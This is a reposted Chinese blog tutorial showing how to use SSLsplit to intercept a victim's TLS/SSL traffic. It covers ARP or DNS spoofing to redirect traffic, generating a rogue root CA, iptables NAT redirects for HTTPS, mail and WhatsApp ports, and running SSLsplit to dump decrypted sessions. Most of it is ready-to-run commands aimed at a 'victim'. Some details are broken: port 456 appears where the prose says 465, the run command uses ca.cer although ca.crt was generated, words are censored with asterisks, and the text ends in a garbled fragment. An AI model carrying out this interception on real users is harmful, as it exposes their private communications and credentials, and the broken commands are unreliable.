您的位置:首页 > 其它

使用sslsplit嗅探TLS/SSL连接

2020-11-19 21:26 393 查看

SSLsplit是一个通用的透明TLS / SSL代理,用于对各种安全通信协议执行中间人***。 使用SSLsplit,可以拦截和保存基于SSL的流量,从而侦听任何安全连接。

1、 工作原理

SSLsplit的工作原理与其他透明SSL代理工具非常相似:它充当客户端和实际服务器之间的中间人。 如果将流量重定向到运行SSLsplit的服务器(通过更改默认网关,ARP欺骗或其他方式,请参见下文),则SSLsplit将选择SSL连接并假装为客户端正在连接的服务器。 为此,它动态生成证书,并使用客户端必须信任的CA证书的私钥对其进行签名。
例如,如果客户端希望使用安全的Gmail SMTP服务器(端口465上的smtp.gmail.com)发送电子邮件,则SSLsplit会为“ smtp.gmail.com”创建证书,从而假装为Gmail 邮件服务器发送给客户端。 在上游方向(指向实际的Gmail邮件服务器),SSLsplit像普通客户端一样连接到服务器-转发实际客户端在SSL套接字上写入的所有流量。

2、 SSLsplit的安装与运行

在解释了SSLsplit如何工作的基本概念之后,本节将介绍如何实际使用它来拦截SSL(和非SSL)流量。

2.1 重定向流量

本教程假定您已经将*者系统放置在受害者计算机和服务器之间的某个位置。 这可以通过许多不同的方式完成-以下是一些示例:
*>1)使用ARP欺骗通过将错误的映射从标准网关MAC地址发布到者的IP地址来重定向受害者的流量。 您无需物理访问受害者的设备即可执行此操作。 签出arpspoof工具。
2)在受害者的网络设置中更改默认网关地址。 如果您可以访问受害者的设备,这是最简单的方法。
3)使用DNS服务器伪造DNS条目,该DNS服务器返回者针对某些(或所有)域的IP地址。 有关如何使用Dnsmasq进行DNS欺骗的信息,请参阅我的教程。
4)通过修改受害者计算机的/etc/hosts文件中的条目,重定向各个域的流量。
如上所述,最简单的方法是将受害者设备中的默认网关地址更改为者的IP地址。 这样可以确保所有流量都通过您的计算机。 而且由于以后我们需要安装CA证书,因此无论如何我们都需要对受害者计算机的物理访
问。

2.2 安装

要下载并编译SSLsplit,请运行以下命令:

1)wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
2) bunzip2 sslsplit-0.4.7.tar.bz2
3) tar xvd sslsplit-0.4.7.tar
4) cd sslsplit-0.4.7
5) apt-get install libssl-dev libevent-dev
6) make
7) mkdir /tmp/sslsplit

这些命令下载并提取源代码(wget,bunzip2,tar),安装必要的依赖项(apt-get),然后使用make对其进行编译。
稍后在/tmp/sslsplit创建的临时目录用于转储连接日志文件以及传入和传出SSL套接字的原始数据。

2.3 创建与安装根CA证书

为了使SSLsplit充当SSL连接的中间人,它需要能够生成并签署受害人信任的证书。 为此,受害者必须在其信任库中拥有***者的根CA证书。 根据客户端的类型(台式浏览器,手机),安装根证书有所不同(有关Firefox,Windows,Android等的信息,请参见此处)。

如果您还没有自签名的CA私钥和证书,则可以使用以下命令生成一个:
1) openssl genrsa -out ca.key 4096
2) openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
第一条命令生成4096位RSA私钥PEM格式(ca.key),第二个命令使用此私钥生成自签名根CA证书(ca.crt)。 稍后SSLsplit都需要两者,但是仅证书文件需要安装在浏览器或受害者的操作系统。

2.4 启用IP转发和NAT引擎(iptables)

在此示例中,SSLsplit将在两个端口上运行:8080用于非SSL TCP连接(例如HTTP,SMTP或FTP),以及8443用于SSL连接(例如SMTP over SSL,HTTPS等)。为了转发到达 ***者的计算机访问这些内部端口后,可以使用iptables中的NAT引擎。

1) sysctl -w net.ipv4.ip_forward=1
2) iptables -t nat -F
3) iptables -t nat -A PREROUTING -p tcp —dport 80 -j REDIRECT —to-ports 8080
4) iptables -t nat -A PREROUTING -p tcp —dport 443 -j REDIRECT —to-ports 8443
5) iptables -t nat -A PREROUTING -p tcp —dport 587 -j REDIRECT —to-ports 8443
6) iptables -t nat -A PREROUTING -p tcp —dport 456 -j REDIRECT —to-ports 8443
7) iptables -t nat -A PREROUTING -p tcp —dport 993 -j REDIRECT —to-ports 8443
8) iptables -t nat -A PREROUTING -p tcp —dport 5222 -j REDIRECT —to-ports 8443

上面的命令首先启用IP转发(sysctl ...)以启用系统的路由器功能。 运行此命令后,Linux会将不打算用于本地计算机的IP数据包转发到其标准/默认网关,从而充当路由器。
为了防止Linux立即转发所有内容,可以定义NAT规则。 在此示例中,某些数据包重定向到本地端口8080和8443。端口HTTP(80)和WhatsApp(5222)上的纯文本流量的数据包重定向到端口8080,端口HTTPS(基于SSL的流量)数据包重定向。 443),基于SSL的IMAP(993),基于SSL的SMTP(465和587)重定向到端口8443。

2.5 运行SSLsplit

[p]一旦启用IP转发并将数据包转发到相关端口,就可以启动SSLsplit。 这听起来比实际要容易,因为SSLsplit是一个非常强大的工具,因此非常灵活。 请查看SSLsplit网站上的简短文档以及更详细的SSLsplit手册页。
对于上述用例,明智的参数配置应如下所示:
1) ./sslsplit
2) -D
3) -l connections.log
4) -j /tmp/sslsplit/
5) -S logdir/
6) -k ca.key
7) -c ca.cer
8) ssl 0.0.0.0 8443
9) tcp 0.0.0.0 8080
此命令以调试模式启动SSLsplit(-D,在前台运行,没有守护程序,输出冗长),并在日志文件“ connections.log”(-l ..)中输出连接尝试。 连接的实际内容被写入“ / tmp / sslsplit / logdir /”(-j ..和-S ..)-每个连接的每个传入/传出TCP流都在单独的文件中。
就是这个。 假设您已经正确配置了客户端,则现在可以开始浏览并发送/接收电子邮件。
除了控制台输出外,SSLsplit还将TCP套接字会话写到上述日志目录中。 在运行SSLsplit一段时间后,日志目录中将有很多文件,每个都是客户端与服务器之间的连接或TCP套接字。[url=mailto:br/>root@pbox:/tmp/sslsplit/logdir#lsroot@pbox:/tmp/sslsplit/logdir#ls
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: